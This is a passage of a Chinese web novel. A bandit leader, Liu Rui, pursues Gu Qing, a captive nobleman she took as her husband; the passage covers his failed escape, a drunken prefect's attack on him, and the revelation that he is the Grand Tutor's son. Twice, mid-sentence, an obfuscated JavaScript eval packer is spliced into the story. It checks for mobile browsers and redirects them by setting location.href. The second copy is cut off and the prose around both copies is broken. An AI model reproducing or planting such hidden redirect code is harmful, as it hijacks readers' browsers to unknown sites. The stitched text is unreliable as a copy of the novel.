“好,那就不打扰你们了。”包子颔首,转向一边等候差遣的山匪:“你们几个去吩咐外面守门的,这是我罩着的车,不需要搜查,好生放行让她们下山。” “是,谨遵二当家吩咐。” 天上的云层越来越厚,明明才到晌午,可天却阴森的给人一种将要进入黑夜的感觉,但这并不影响牛车的行进,从山顶的龙头寨下山,只有一条尚且还算平坦的路可走,其余全是悬崖峭壁,龙头寨自山半腰起便在控制这条山路,每隔一里路就是一队看守的山匪与凶猛的狼犬,若单凭个人的力量,顾清一辈子都没法从这里逃出去。 包子的指令比她们早一步到,所有山匪都知道这是二当家罩着的人,因此她们都只是默默盯着牛车远去的背影看了会,无人出手阻拦,这样的路足足走了有两个时辰,每一关都煎熬又漫长。 “过山半腰了,接下来的路,不会再有山匪。” 细辛终于开口,躲在牛车里的顾清才垂头松口气,有些疲倦地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319276|167401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠着车厢闭目养神。 “轰——” 天空中响起一声惊雷,将要下雨,山路会更加难走,顾清有些担忧地将身体探出车窗外,想要观察一下现在的天,却不想旁边一只手抓住他,是细辛的妻主,也就是平城知府,她脸上一片坨红,眯着眼看他:“嗝,美人你去哪?” 一道白光闪过,紧跟着又是雷声轰然响起,顾清愣了愣,随后有些厌恶地将手抽出,语气冷淡:“看天气。” “我还以为你是舍不得那个柳锐呢,啧…虽然你肯定被那个柳锐玩过了,不过没事,你长得美,我不介意,你既然下山,不如就跟着我,如何?” 她扑面而来的酒气让顾清心头一冷,细辛坐在车厢外的车板上,像是压根没听见这话,又或是早就习以为常,始终保持沉默,顾清只好挪动到离这知府更远的位置,出声喝止她的图谋不轨。 “放肆,你可知我到底是什么人?” “什么人?呵。” 酒壮人胆,知府皮笑肉不笑地靠近:“不就是那杀千刀的柳锐的夫郎么,他爷爷的,你想拿她压我?我还他爹的想宰了她呢,要不是她非要抢劫薛良那个蠢货,贩卖的盐也不至于暴露,我又怎么会逃到这里,落魄成这个鬼样,柳锐把我这辈子的苦心筹谋都给毁了,我杀不了她,我就折磨你!” “什…” 顾清来不及说话,知府便伸手掐住他的脖子,企图将他完全控制住,顾清忍着痛拼命把她推开,止不住咳嗽:“咳咳,我是顾太师之子,你若还想活命,最好现在就收手。” 知府像是听到什么笑话,愣怔了会忽然哈哈大笑:“不是所有姓顾的都能冒充京城顾家,且不说我没见过太师的儿子,无法辨认真假,人人都知并州的顾富一个月前就接到她弟弟了,顾公子人在并州乡下养病调理身体,怎么可能在山寨里给柳锐当夫郎?” 顾清的心里顿时五味杂陈,他攥紧了手,指节泛白,声音有些沙哑地问她:“倘若我说的是真话呢?” “若是真话,那我就更要折磨你了,玩过了再杀,就是顾富这该死的畜牲在查薛良的案子,我走到今日这步田地,她是’功不可没’啊!” 知府原本看起来还算清秀的脸都变得扭曲,她打算压上来打算撕扯顾清的衣服,谁知外头的细辛突然惊叫了一声:“啊!” “叫什么叫,不知道这时候保持安静么!” 知府愤怒地朝外喊了声,可谁知下一秒车厢竟然不动了,顾清认准时机迅速车厢的门摔了下去,踉跄着要往无人的地方去,喝醉了的知府恼羞成怒,跟着爬下来怒吼:“给我站住!” “轰!” 雷声后,倾盆大雨如约而至,泥土的腥气完全翻涌上来,顾清只觉得视线模糊,身体也逐渐失去了奔跑的力气,就在他觉得知府逐渐逼近的时候,一道凌厉的白光自雨中飞过来,紧接着“噗嗤——”一声血肉被切开的声响,他回头看见血花四溅,她的手臂被一把长刀牢牢钉在了地上,而缺失了一条手臂的知府连哀嚎的力气都没有。 伴随着知府倒下,一道朦胧的身影逐渐显现,柳锐站在上方的悬崖之上,眼神清明地俯视知府,像在看一只可以随意踩死的蚂蚁,紧接着,她才将视线转向一旁的顾清,他像是力竭了,失去重心跌坐在地上,知府的鲜血染红他衣服的下摆,雨水淋湿他的墨发,像是风雨飘摇间无助的一朵花。 “这才一个下午不见,便这么狼狈了。” 柳锐笑意不达眼底,她翻身轻松地从悬崖上来,缓缓走向他:“往我酒里下药,又违背我们的约定,三个月不到擅自下山,如今被我抓住,你说我该如何处置你,干脆彻底占有,让你永远做我的夫郎?” 顾清已经没有力气再站起来,沉默着坐在地上,雨水顺着他的面颊滑落,他漂亮的眸子逐渐升起一种悲伤的情绪,半晌不甘地垂下头,苦笑一声。 “那我也只能自认倒霉,只是你真觉得这样有意思么,除了一副皮相,你什么都得不到,我对你没有一点感情,更不会认你做妻主,只会想尽一切办法要你死。” 柳锐挑了下眉,揪住他的衣领迫使他靠近,顾清以为她又要强迫着亲他,心如死灰地闭上眼,等待着令他作呕的索取和掠夺,可接触他脸颊却不是唇,而是带着温度的手指,指腹不断游移,停留在眼尾。 “你在哭?” 她没有回应他刚才充满恨意的话,也没有强吻他,抬手擦掉他脸上滚烫的泪水:“别哭了,我们的约定照旧,我没打算把你怎么着。” 话毕,柳锐背过身,语气是无奈中夹杂着少见的温和。 “看你站不起来,估计是没力气了,上来吧,我背你。” 17. 第十七章 “求求你把她带走…” 尸横遍野,死人堆中奄奄一息的男子将手中的婴孩交出去,襁褓中的婴儿脖子上戴着根缀有红玛瑙的细绳,被男人递出去时安静无声。 “你们怎么会遭人追杀到这个地步?” 接过婴孩的中年人忧心忡忡地发问,也不知那男子到底说了些什么,那中年人点了点头,语气沉重:“好,我明白了。” 等到奄奄一息的男人双眸失去光泽,中年人将火把丢在了尸体堆上,熊熊烈火腾地燃起,一直保持安静的女婴也终于爆发出第一声啼哭,声音响彻整片树林。 “哇——!” “嘶。” 柳锐被梦中尖锐的孩童哭叫声吵得头疼,颇为烦躁地睁开眼。 屋外明显已经雨停,阳光透过窗户洒落至地面,等到视线完全清晰,她才恍然发觉自己正睡在冰冷坚硬的石板地上,面前是矮矮的床脚和一只垂下来的纤细手腕,柔和的光落在手上,呈现出好看的瓷白。 柳锐有些不爽地挑了下眉,她记得自己昨晚明明睡在床上——背着顾清回来,却发现他不知什么时候睡着了,正巧她也累得犯迷糊,索性在他旁边倒下一起睡,她睡觉从不乱动,因此在地上醒来的原因只有一个,顾清推下去的。 “真狠。”柳锐站起身看向床头,旋即不由顿住,顾清睡颜恬静,一头墨发如瀑布般散开,素色的衣衫并不像平日里穿的那么规整,露出他清晰完整的锁骨线,他的肌肤如白玉,锁骨就分外好看,会让人有想咬上去的冲动,最特别的是,他锁骨最末端有抹淡红,掩在领口下朦朦胧胧。 柳锐迅速将视线上移,一面盯着房梁,一面报复性的抬腿踢床脚:“喂,醒醒,你衣服没穿好。” 房间里短暂的安静片刻,在一阵窸窣声后,顾清语气冰冷地告诉她:“你该出去了。”毕竟她随意乱躺的地方,是他的房间。 “就不,亏我还累死累活地救你回来,不过是借了半张床歇息,你竟还把我推下去,有这样对救命恩人的?” 在没成为大当家前,她是常和姐妹们一块睡的,她不认床,又经常因为打劫累到意识模糊,于是养成了累的时候遇床就睡的好习惯,她实在不懂,自己压根连顾清的衣角都没碰到,什么过分的事都没做,怎么就能被他推下去。 “…我不喜欢和人同榻而眠,而且我试过叫醒你,但你没理我,我只能推你下去了。” 顾清并没有什么愧疚,说话时语气淡淡,这模样让柳锐看着就不满:“难道你们山下的男子和妻主也是分房睡?” “妻主另当别论,你别把自己和我妻主混为一谈。” 此话一出,房间里的气氛瞬间冷凝,柳锐大早上就收获一肚子气,脸色沉的吓人,转身就要往外走,可手还没触上门,背后难得传来一句追问:“你昨天为什么会出现,你不是应该…睡着了么。” “你是在提那杯酒吗?” 柳锐回眸看他,视线相撞,顾清眼睫轻颤了下,自己移开视线,沉默着点点头。 提到这个问题,柳锐的眼中浮现出一丝玩味:“你原本的计划应该是借细辛妻夫骗我喝那杯酒,待我熟睡后逃走吧,其实你做的很好,这一套连环招使下来,大概是谁都会中计,但是很可惜,我一直充满戒备,因为你的合作伙伴们从刚开始就露馅了。” 顾清没有听懂,蹙眉问她:“什么意思?” “你还记得细辛的妻主看见我时是什么表情么,她充满畏惧,一句话都不敢多讲,山下人害怕我,这可以理解,但这顿饭不是她们主动提出想和我一块吃的么,害怕我的人怎么会想与我一起用饭?巴不得一辈子碰不到我才对吧,因此我怀疑有诈,那杯酒,我趁你们不注意时悄悄吐了。” 细辛的妻主当时是什么神情?顾清回忆许久都没能想起来,半晌后语气复杂地道一句:“你怎么观察的这么仔细。” “我若是不观察仔细,早死百八十回了,怎么会活到今天。” 话落,柳锐推门而出,然而下一刻她又忽然回身,扒着门缝犹豫着说道:“对了,还有件事…” 顾清以为她会问那杯酒里是什么毒药,又或者是问那毒药的来源,然而柳锐指了指他锁骨尾端的位置,神情像森林里好奇的动物:“你那边是不是受伤了?” 意识到她说的是什么,顾清变了脸色,有些恼羞成怒地拿起身侧一个枕头向她砸去。 “滚,那是守宫砂。” 柳锐轻松地将枕头打掉,神色疑惑,像是懂了,又像是没懂:“竟然是那个东西,不过你怎么还会有,你不是薛…” 刚听她说完前两句,顾清就毫不犹豫拿起床边的花瓶朝她砸去,柳锐眼疾手快,迅速闭嘴关上门。 “砰!”一声巨响,花瓶撞上门框,摔个粉碎。 —— “都审问过了,他妻主根本不是普通商人,而是平城知府,因为是薛良贩盐一案的同伙,所以薛良入狱后,她就带着细辛逃跑了,只是钱和宝贝带太多被柳峰给盯上,阴差阳错被我救下带回来,后来被你夫郎发现身份,才合谋给你下药,后来喝醉酒又对他起了歹意,这才动的手。” 不到晌午,包子便红肿着一双眼来同柳锐汇报,她大概是一宿没合眼,眼睛里布满红血丝,柳锐看她模样不太好,起身给她倒了杯热茶,包子没肯接,低着头声音闷闷的:“大当家,我差点害了你。” “这不是你的错,放轻松,别往心里去。” 虽然包子的年纪比柳锐大一些,但是柳锐却更像一个姐姐,安抚性的拍拍她肩膀,可包子面上的难受并没有一丝缓解,她仰头像喝酒一样把茶水喝下肚,眼中闪过一丝悲伤和愤怒。 “大当家,你知道我还审问出什么来么?原来,当年那个狗知府在我们镇上做小官,她看上了细辛,可细辛那时已经与我有婚约,于是她就设计诬陷我杀人!我就是被她给害的背井离乡!细辛早就知道这一切,却帮着她隐瞒,他是帮凶,我再也不会想着他了,也永远不会原谅他。” 包子一向大大咧咧,鲜少有如此决绝又失落的神情,柳锐将这一切看在眼里,转头放下茶壶,拿起桌下藏着的一壶陈年老酒,打开盖给她倒了一盏。 “把这壶酒带回去喝,喝完睡一觉,没准能好不少。” 包子鼻头一酸,老老实实把酒端过来仰头喝下去,喝完才有些迷茫地问:“大当家,那我们现在该怎么办?杀了她们吗?” “她们该死,但是不应该由我们杀。”柳锐又给她倒上一盏:“你不是说她妻主是薛良一案的同伙么,这 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早些年开始,她就负责把关和挑选新入寨的山匪们,入寨的山匪往往都是犯了罪的,为了确认入寨的新人到底是因为什么犯了什么罪才上的龙头岭,老念开始试着收集各地的通缉令,这一收就是数年,薄薄的通缉令堆到比人还高。 从那天看见柳锐手里的画像开始,她就感觉画像上的人似曾相识,这个小厮阿亮,她一定是在哪里见过,思来想去,她决定从手边的通缉令开始翻起,这一翻就是数日,现在她手边的这一沓,是她早几年前收集的,倘若这里面也找不到这张脸,那恐怕就… “念姐,你怎么还在这?” 包子的声音陡然响起,把老念吓一跳,她瞪了包子一眼,问道:“你来干什么?” “大当家要我把她们送到并州去听候官府发落。”包子吸了吸鼻子,神情蔫蔫的。 “去,忙你的去。” 老念朝她挥挥手,翻过面前这张通缉令,下一秒,与画像上相同的脸便映入眼帘,老念一惊,赶忙拿起那张纸放到眼前。 这小厮竟是杀人犯,她在三年前便因为连杀数人被并州官府通缉,只是她为什么还会逍遥法外,甚至于和寨里的奸细里应外合,意图谋害柳锐… 到底是哪里出了问题?老念忍不住琢磨。 包子把牢门打开,看向惊惧不已的小妻夫道:“我不杀你们,我把你们送去官府,你们的生死,由法规去判吧。” “不要,不要!包子姐,就念在我们好过一场的份上,你放我们一条生路吧!” 细辛哽咽着哀求她,见包子对此不予理会,他的妻主便着急忙慌地开口:“你要是还喜欢我夫郎,我就把他给你了,要是嫌不够,我还藏了不少钱,这些钱都给你,你放我走可行?” “我不缺你那几个臭钱。” 包子说话间就要像拎鸡仔一样把她们拎起来往外拉,知府着急改口:“那给别的,我给你别的东西!我想想…我知道了,我卖你个消息,卖你个消息如何?” “嗯?你要说啥?” 包子的手一停,知府就像是捡了根救命稻草,心里想着死马当活马医,凑到她面前紧张地问:“你们大当家的夫郎应该是被抓来的,不是自愿嫁给她的吧。” “你们知道他到底是什么来头吗?” 18. 第十八章 画像和通缉令一齐被摊在桌上,柳锐目光不断游移,最终将视线定格在通缉令底下那一行行如黑蝇般的小字上,她用指尖在那字上轻轻点了几下,抬头看向面前二人。 “这上头都写的什么?” 柳锐不识字,因此每回老念把账交给她时,都会主动给她念一遍,但此刻老念和包子各怀心事,人虽都站在她面前,思绪却跑到十万八千里,站在那一动不动,还是包子先反应过来,赶紧一拍老念的臂膀:“念姐,你快去给她读一读。” “哦哦,瞧我这记性,咳…林亮,并州溪头村人,因抢劫而被捕入狱,狱中连杀数名狱卒逃脱,如见此人,务必迅速告知官府,抓获逃犯有功者,赏五两白银,这就是通缉令上写的全部内容。” 这叫阿亮的小厮原名叫林亮,柳锐在听到她连杀数名狱卒时便意外地挑了下眉,虽然她没在山底下蹲过大牢,但牢里的看守有多么严密,她也是知道一二的,却不想这林亮竟然能杀死狱卒而后逃之夭夭,可见此人脑子灵活,武功也不差,大概也正是因为如此,她才会被某些人看上,召去做爪牙,和柳峰一起杀她。 所以,这幕后主使到底是谁?是民间自发为民除害的刺客杀手,还是… 柳锐揉了揉太阳穴,对二人嘱咐:“既然已经顺藤摸瓜找到了她家乡,那就派人去查一查,找那些乡里乡亲问个明白,没准还能再探查到些什么。” 老念也是正有这个打算,点点头正色道:“这件事旁人信不过,我要亲自去办,溪头村远得很,来去只怕得有一个多月,大当家你要照顾好自己。” 说到这,老念一副欲言又止,似乎不知该怎样说下去的神情,她看了眼包子,而包子也恰好心事重重地与她对视,柳锐将二人的小动作看在眼里,顿时明白她们是有话还没说完,轻啧一声,抱臂笑了笑:“到底什么事,有话快说,难不成你俩还想瞒着我。” 包子当然不会瞒着她,她深吸口气,身子前倾,几乎凑到柳锐的桌前,像是跟人聊八卦那般聚精会神:“大当家的,你千万别太惊讶,顾清的身份,可能并不是我们所认为的,薛良的夫郎。” 这一句话如惊雷,暗暗打在柳锐的心头,但不知为何,她并不感到太意外。 她强行逼他成婚那晚,这个人宁折不屈,而后又摔碎了她送的名贵玉镯,纵使她既有威胁,又有示好,他也是软硬不吃,死活不肯接受她,她有无数次想要问顾清,同样都是恶人,凭什么他肯嫁给薛良,却不肯从了她,但她怕他伤心,所以也没提过,但后来她觉得不对劲,顾清如此清高孤傲的人,真的会接受一个表面君子,背地里私自贩盐的妻主么? 若之前只是隐隐觉得不对,那今早看到的东西就已经让她开始生疑了,顾清锁骨下仍留有鲜红的守宫砂,这就代表他没和人同房过,他如此美貌,薛良怎么会轻易放过? 但若不是薛良的夫郎,他又是谁呢,他为什么会出现在那里,他还是个公子,甚至可能都没嫁人,说起来,柳锐最开始就是认为他是薛良的夫郎,才抢的那样肆无忌惮,毕竟,一个落荒而逃的奸臣怎么配有如此美人?顾清是她胜利的果实,她理应享有,而且薛良很快就会被处罚,顾清要成一个孤苦伶仃的鳏夫了,嫁过人的鳏夫配一个恶人暴徒,谁也不会嫌弃谁,岂非完美?不求他百般感激,至少,他肯定会好好跟她过日子。 可是… 柳锐思绪万千,然而包子察觉不出,嘴巴叽里呱啦:“我刚刚去那牢里见知府,她为了活命,给我提出许多条件,又要送我男人,又要送我钱的,但你知道这些我都不缺的呀,于是我就拒绝了她,可怎知她最后突然说,要和我做个交易,我放她一条生路,而她则会告诉我们顾清的身份,她说顾清大有来头,我又问她,难道不是薛良的夫郎么?她听后哈哈大笑,说顾清的真实身份是…” 夜里渐凉,浓郁的土腥味顺着打开窗户弥漫至屋里,那个答案呼之欲出,柳锐甚至都没有察觉到自己屏住了呼吸,身体也不自觉向前倾,神色严肃:“是什么?” 包子耸耸肩:“是什么我也不知道。” 将要凝固成形的紧张顿时散成水汽,屋子里一片安静无声,柳锐顿时蹙眉,眯了眯眼,包子怕柳锐要骂人,先一步解释:“都说了是交易,送她下山,她才会告诉我们,但这交易我不同意,她毁了我小半辈子,我可不想看她逍遥法外,我想大当家你也不会同意的,所以我直接拒了她。” “而且我想着,要知道顾清的身份,直接问他自己不就行了,哪需要旁人透露,再者顾清是大当家的夫郎,这是你的家务事,我们无论如何也不太好插手。” —— 翌日,一个艳阳高照的大晴天,龙头岭上阳光灿烂,老念很早便背着行囊下了山,柳锐送她一程,回来的路上看到几个男山匪有说有笑地在山路上走着,每个人肩上都还挎着个草篮子。 “哎呀,是大当家!你们几个快别闹了,赶紧来给大当家问声好!” 有个男山匪眼尖,看见柳锐便赶忙招呼同伴,柳锐昨晚没有睡好,看人时都懒洋洋的,见他们过来问安,便扫了一眼他们的篮子:“你们去摘野菜么。” “那倒不是,不过也差不多,前几日开始,山上的紫荆花就都开了,漫山遍野的,又好看又好闻,郎中说寨子里的跌打损伤药快要用完,要我们出来多采点,给她带回去。” 紫荆花,春日才会盛开,开花时如紫色的蝴蝶,一片片生长于山坡上,香味清新怡人,它也是药材,具有清热解毒,活血化淤的功效,用途广泛,听到他们是要去给郎中采药,柳锐没多做阻拦,交代了两句便自行回到寨中。 山寨里一切照旧,没有大活时,日子便是这样清闲无聊,柳锐懒散踱步回院,正巧看见顾清蹲在院中的花坛边,他穿着一身绿色的长衫,黑发如墨倾泻而下,柳锐出现在门口时,他正在盯着花坛泥土缝里长出的一株迎春花,指尖覆在花瓣上,动作小心轻柔,听到背后的声音,顾清转头看她一眼,不知道是不是想起昨日柳锐看到他守宫砂的事,皱了下眉,回过身就要往房间走。 “喂,站住,我正要找你” 柳锐将他的神情尽收眼底,随即快步跟上,一把拉住顾清的衣袖一拽,叫他猛地踉跄了下,不得不停下脚步看向她,有些烦躁地问:“什么事?” 什么事?自然是想问问你到底是谁,什么来头。 可若问出来了,那会如何呢,柳锐自己定的规矩,她只打劫富商贪官,她是把顾清当作贪官留下的赃物而占为己有,如果顾清不是,那留着他,是不是打自己的脸? 但不留着,她又舍得吗?想到这个问题的瞬间,她感觉自己心里忽而有点堵。 到嘴的问题没能问出口,反而是近乡情怯了,柳锐无声望着顾清,然而顾清并没有耐心读懂柳锐此刻的心情,他见她一直都不说话,却还是拉着他的衣袖不松手,以为她是又犯病想要作践他了,于是冷冷瞥她一眼,刚要再开口,柳锐突然转了个弯:“要去寨子外看紫荆花吗,漫山遍野都是,非常好看。” 因为怕他跑,柳锐很少提到寨外,顾清愣怔了下,眼中闪过一丝纠结和对出去的渴望,但他转而又看一眼柳锐,随即拒绝:“不,我不感兴趣。” 然而柳锐已经不容他拒绝了,攥住他的衣袖往外走:“你撒谎,刚刚你明明一脸期待的样子,你这个年纪的男孩怎么可能不喜欢看花,走,我骑马带你出去玩。” 说话间,顾清来不及反应,就被柳锐拖拽着走出好几米,柳锐的力气大到他根本不能反抗,他见拗不过她,气得直言直语。 “你有没有搞清楚,我不是不喜欢看花,我是不喜欢和你看花。” “嘶…喂,你放手!” 柳锐全当没听见,完全没有被激怒,而顾清即使再不情不愿,可碍于柳锐的强压下也是迫不得已上了马,冷着脸看柳锐也翻身上来,一勒缰绳载着他奔出山寨。 空气清新,鸟语花香,悬崖峭壁,树影婆娑,柳锐带着冷如冰块的顾清一路向前奔,沿着刚才那群山匪们走的方向下了山,温暖的春风自两边呼啸而过,顾清蹙眉转眸看了一回柳锐的侧颜,便又继续保持沉默,马儿在绿油油的树丛间奔走许久,直到面前出现一大片醉人的紫色,柳锐再轻声道了一句:“停。” “吁——” 马儿在缰绳的控制下停住脚步,柳锐先行下了马,她原想搀扶着顾清下来,却不料顾清没理会她,自己扶着马鞍在另一边落了地,背对着她看向那一片紫色,什么话也没说,看起来像是很专心地观赏面前的花海,见他这个样子,柳锐颇有些神气地扬起嘴角,牵着马走过去问他。 “怎样,我说的没错吧,这里就是很好看,你不观一回紫荆花,便不算爬过龙头岭,这是城里不会出现的绝色,我若不强行带你来,你便要错过了。” 顾清瞥她一眼,语气冷漠:“再好看的风景,都并非绝对不能错过,不看,也不是什么太可惜的事。” 柳锐有些无语,也不多反驳,将他朝花海里轻轻一推:“来都来了,赶紧去玩吧,别被关傻了,天天说不出好话来。” 顾清想要给他一记眼刀,但是柳锐已经先行背过身,很识趣地走到另一边,柔弱的花朵无法适应龙头岭,但紫荆花生命力强,年年都是一开一大片,她小的时候时常会跟年纪比她大的山匪们来花海里闹腾,那些山匪姐姐们会拿紫荆花编花环,用来哄跟她们谈情说爱的男孩子,但她们手笨,编出来的不如柳锐编的好看,因此这些姐姐们会央求她帮她们编,小时候的柳锐心软,常编的满手都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一掀开,近六十个小卒便映入眼帘,她们皆佩戴着刀,目光在树林里不断搜寻,像是在找什么。 柳锐才想起来,自己方才应该是离开了龙头寨地界,来到了半山腰的位置,这里并不属于山寨管辖,因此有时也会见到百姓来这里采摘点野菜菌子,亦或是砍柴,不过看到这么多小兵,倒是头一次。 “什么人躲在那!” 有个小兵眼尖发现了她,柳锐倒也不紧张,闲庭信步地从树林子里走出来:“抱歉,打扰了。” 看见她孤身一人,众人松口气,面上又带着些遗憾:“可惜不是那个知府。” 听到知府二字,柳锐立刻主动问道:“可是来抓逃逸在外的平成知府的?” 为首的士兵眼睛一亮:“不错,据目击者传,她应该是带着夫郎往龙头岭山里逃了,所以我们在这附近搜一搜,你可见过她?” 何止见过,柳锐心里道,但她面上说的却是:“我不曾见过她,但我觉得,龙头岭环境恶劣,她在这待不了太久,没准你们下山去找,反而能得到些好消息。” 她已经命包子差人把知府一家送过去,算算时辰,天黑的时候也该到了,这些小年轻在这怎么搜,都是白用功。 “你说得倒也有理,我们确实也累了,姐妹们,我们先下山吃饭,吃完再说罢,别为了几文铜币的工钱饿坏肚子。” 说话间,小士兵们纷纷转身往下走,就在柳锐也打算离开的时候,突然有个小兵出声道:“等等!” “这个人我好像在通缉令上看见过,她好像就是柳锐,逮捕她,赏黄金万两,连升六级!” 哦? 放松的氛围在一瞬间被扭转,柳锐有些戏谑地看向那些士兵,只见她们先是一愣,紧接着猛然拔刀,人人都像紧绷的弦一样面向她,只待合适的时机上去,将她制服。 “好像…好像确实是。” “要杀吗?可我听说她以一敌百都不是问题。” “去他爹的以一敌百,她没带刀,我们带刀了,我们有六十个人,难不成还打不过她一个赤手空拳的?” 众人议论纷纷,柳锐一直不语,眼里却燃起一小簇火星子,若常看野兽捕猎的人便知道,那不是生气,而是兴奋。 “不管了,上!拿下她,姐妹们一辈子的荣华富贵就都有了!” 柳锐活动了下指节,就在此时,一只手突然将她往后拉,柳锐的脸上浮现出一种莫名其妙的神情,她侧眸,却见顾清冷眼看着她喝道:“无礼,还不快退下。” 柳锐一时不懂他想做什么,但难得地往后一步,紧接着顾清站到了她前面,对着众人,语气淡漠得体。 “我是顾太师之子顾清,往前便是我姐姐顾富掌管的并州,还请诸位赏脸,把对着我家家仆的刀剑都放下。” 19. 第十九章 太师之子?家仆? 柳锐愣了下,侧首看向身前的顾清,眼中像是有暗流不断涌动。 顾清的话引起一片哗然,然而他依旧神态自若:“若有不信者,也可以押着我们去并州找我姐姐求证,只是…”他话锋一转,语气里带上几分冷意:“只是顾家不容人轻易冒犯,敢得罪于我,就要做好付出代价的准备。” 此话掷地有声,让所有士兵动作一滞,她们狐疑地打量着顾清,忍不住小声议论。 “他说的是真话?” “据我所知,顾太师真的有个儿子,只是深居简出,很少被人提起,不过传闻顾公子美若天仙,看他这张脸蛋,不像是假的。” 说到容貌,小士兵们再次一齐看向这个举手投足间充满贵气的冷漠美人,心中大致有了数,但看着他身后抱臂站着的柳锐,大家又面面相觑,有些拿不定主意。 “那个人真的不是柳锐嘛?有谁带她的通缉令了,拿出来叫我们对比一下。” “什么人这么闲,天天把那玩意揣身上…而且,这荒郊野岭的,顾公子怎么会出现在这里。” 有人提出疑问,大家一时之间又安静下来,顾清不慌不忙,淡淡瞥一眼发言者:“我待在并州修养,此处是附近唯一风景好的地方,我不能在家仆的陪同下来踏青么?” 自然是能来,但这事总是有点不对劲,可若他说的都是真话,那么抓住这二人,今日得罪他,大家也算玩完,别说是她们,就是京城大半勋贵也都不敢得罪顾家,她们真没必要冒险,为了几文钱的差事把命给断送了。 大约是都想到此处,士兵们神色各异,却都未再有什么动作,顾清见状问道:“还有什么疑问吗?如果没有,我就带着她走了,恕不奉陪。” 无人应答,他旋即转身,自顾自跨过灌木丛离开,谁也不等。 日光尚好,树林间的野蜂蝴蝶略过人头顶,嗡嗡作响,柳锐自己跟了上来,看着那一抹绿色的纤瘦身影穿过树林,虽说是“带她走”,但他速度极快,压根没有一点要和她同行的意思,只自己走在最前头,直到走出,柳锐才嗤笑一声,在他身后问:“我什么时候成你家仆了?” 顾清懒得看她,头也不回:“你要是不愿意,可以回去和那群人解释说,说你是山匪柳锐,让她们赶紧抓你,也无需我费口舌替你圆场。” 尽管他的话很难听,但柳锐却破天荒地感受到欣慰,她嘴角扬起一个极浅的弧度,不过很快她想到另一桩事,问他:“所以,你真是顾太师的儿子?” 说话间,二人已经重新回到之前那片紫荆花海,柳锐的马仍停留在原地默默吃草,顾清不想依靠柳锐帮助,有些吃力地独自上了马,待坐稳后才听清她的问题,不免冷冷看她:“如今又明知故问些什么,你不是知道我的身份,故意折辱的么?” 故意折辱?嗯…好吧,强娶于他而言确实是羞辱,可明知故问?她真的有吗? 柳锐站在原地,脸上难得流露出意外的神情,她看着顾清没说话,脑中不断搜寻自己是否有什么缺失的记忆,想了半天,发现自己的记忆完好无损,但正是因为记忆完好无损,就令她冷不丁想到强娶顾清当晚,他和她之间的一小段对话。 “你可知你抢回来的是谁,你可知我的身份?” “知道呀,我就是知道才抢的。” 当时她误以为顾清是薛良夫郎,才会如此回答,却不想听到回答的顾清一脸的不敢置信,她还觉得这人反应太过,如今想来,原是两人说话驴头不对马嘴,而后柳锐又差点要把他睡了,顾清拼死反抗,后来关系差到极点,他鲜少跟她说话,二人之间也就一直没有把话说开的机会。 现在仔细想想,真是荒唐至极。 “我若告诉你,今日是我第一次听说这事,你信吗?” 听到柳锐的话,顾清愣怔了瞬,随后又恢复如常,平静看着她:“那又如何,你不无辜,不管知道与否,我被你抢来是不争的事实。” 他说的倒也没错,柳锐深深看他一眼,无声勾了下唇角。 不过很快,顾清眉心微动,道:“既是现在才知我的身份,你会悔过,提前放我下山么。” 柳锐嘴角的笑容悄然消失,不假思索地回答:“不可能。” 这个回答让刚上升的温度骤然转凉,天空中飘过一朵云,周遭顿时阴沉下来,顾清冷冷盯着她,片刻后移开视线,什么都没再多说。 —— “哈?所以,顾清竟然是当朝太师的儿子?” “嗯。” “我的老天奶…他那天为什么会走在薛良的队伍里?” “并州刺史不是也姓顾么,那是他姐姐,我猜,他可能是要去看他姐姐,路上跟薛良碰到了吧。” 屋外夜色沉沉,偶尔有鸟归林,发出几声鸣叫,屋内烛火昏黄,包子和柳锐坐在桌前,桌上摆了几只酒壶,现下已被打开大半,柳锐慵懒地靠着桌角,一手托腮,盯着清澈的酒液若有所思,而包子却是瞪大眼睛,满脸惊讶,连自己杯子倾斜酒液洒了大半都没有意识到,好一会才放下酒杯。 “我们打劫薛良,还抢回来个顾公子,薛良贩盐的证据你不是也交给并州刺史了吗,谁能料到这刺史就是顾清的姐姐,现在我们还把在外逃逸的平城知府给他姐姐送去了,他姐姐如今,恐怕对你是又感激又恨的。” 柳锐没接这话,只是问她:“你对这京城顾家,有多少了解?” “我 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包子的表情扭曲了一下,她赶紧把杯里半杯酒喝完,随后语气认真地说道:“他好是好,但是大当家,我也不是怕顾太师,毕竟我们打劫得罪过的大官数都数不过来,只是贵公子爱上一个山匪,这是话本里才有的故事,他在外头有母亲有姐姐的,离开你就能嫁给门当户对的贵族,一个山匪和一个贵族女君,你说他会更愿意和谁在一起?你断送他本该有的美好未来,他会恨你一辈子,不论你怎么捂他的心,都没法捂热的,倒不如就放了他,免得以后相看两相厌。” 轻而易举放了他? 跟她在一起,就是断送美好的未来? 沉思许久,柳锐终于徐徐抬头,眼里毫无畏惧和退缩:“但我喜欢他,不论如何,我想争取。” 包子和她对视半晌,猛地一点头:“好,可以!大当家,不如我们来赌一场。” 话毕,她给自己和柳锐的酒杯再次倒满,随后自己先仰头一干二尽,柳锐紧随其后喝下酒,问她:“赌什么?” “念姐不是帮你修好了一个手镯嘛,就拿那个赌,你若能在一个月内把它送给顾清,并叫顾清乖乖戴在手腕上叫众人看见,我从此全力支持你二人,但若一个月后,你失败了,那你就要亲自把他送下山,从此把他忘得一干二净,再不提起他半句。” 那个手镯,按照老念的话说,是定情信物,意义非凡,顾清砸碎过一次,再让他戴上,难度之大,不言而喻。 敢赌吗?会赢吗? 